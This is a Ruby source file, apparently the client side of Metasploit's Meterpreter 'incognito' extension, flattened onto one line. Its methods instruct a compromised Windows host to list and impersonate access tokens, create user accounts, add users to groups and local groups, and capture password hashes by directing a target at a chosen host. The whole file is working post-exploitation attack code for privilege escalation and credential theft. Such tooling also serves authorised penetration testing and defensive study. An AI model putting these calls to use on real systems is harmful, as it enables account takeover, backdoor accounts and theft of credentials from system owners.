#!/usr/bin/env ruby # -*- coding: binary -*- require 'rex/post/meterpreter/extensions/incognito/tlv' module Rex module Post module Meterpreter module Extensions module Incognito ### # # This meterpreter extensions a privilege escalation interface that is capable # of doing things like dumping password hashes and performing local # exploitation. # ### class Incognito < Extension def initialize(client) super(client, 'incognito') client.register_extension_aliases( [ { 'name' => 'incognito', 'ext' => self }, ]) end def incognito_list_tokens(token_order) request = Packet.create_request('incognito_list_tokens') request.add_tlv(TLV_TYPE_INCOGNITO_LIST_TOKENS_ORDER, token_order) response = client.send_request(request) return { 'delegation' => response.get_tlv_value(TLV_TYPE_INCOGNITO_LIST_TOKENS_DELEGATION), 'impersonation' => response.get_tlv_value(TLV_TYPE_INCOGNITO_LIST_TOKENS_IMPERSONATION) } end def incognito_impersonate_token(username) request = Packet.create_request('incognito_impersonate_token') request.add_tlv(TLV_TYPE_INCOGNITO_IMPERSONATE_TOKEN, username) response = client.send_request(request) response.get_tlv_value(TLV_TYPE_INCOGNITO_GENERIC_RESPONSE) end def incognito_add_user(host, username, password) request = Packet.create_request('incognito_add_user') request.add_tlv(TLV_TYPE_INCOGNITO_USERNAME, username) request.add_tlv(TLV_TYPE_INCOGNITO_PASSWORD, password) request.add_tlv(TLV_TYPE_INCOGNITO_SERVERNAME, host) response = client.send_request(request) response.get_tlv_value(TLV_TYPE_INCOGNITO_GENERIC_RESPONSE) end def incognito_add_group_user(host, groupname, username) request = Packet.create_request('incognito_add_group_user') request.add_tlv(TLV_TYPE_INCOGNITO_USERNAME, username) request.add_tlv(TLV_TYPE_INCOGNITO_GROUPNAME, groupname) request.add_tlv(TLV_TYPE_INCOGNITO_SERVERNAME, host) response = client.send_request(request) response.get_tlv_value(TLV_TYPE_INCOGNITO_GENERIC_RESPONSE) end def incognito_add_localgroup_user(host, groupname, username) request = Packet.create_request('incognito_add_localgroup_user') request.add_tlv(TLV_TYPE_INCOGNITO_USERNAME, username) request.add_tlv(TLV_TYPE_INCOGNITO_GROUPNAME, groupname) request.add_tlv(TLV_TYPE_INCOGNITO_SERVERNAME, host) response = client.send_request(request) response.get_tlv_value(TLV_TYPE_INCOGNITO_GENERIC_RESPONSE) end def incognito_snarf_hashes(host) request = Packet.create_request('incognito_snarf_hashes') request.add_tlv(TLV_TYPE_INCOGNITO_SERVERNAME, host) response = client.send_request(request) return true end end end; end; end; end; end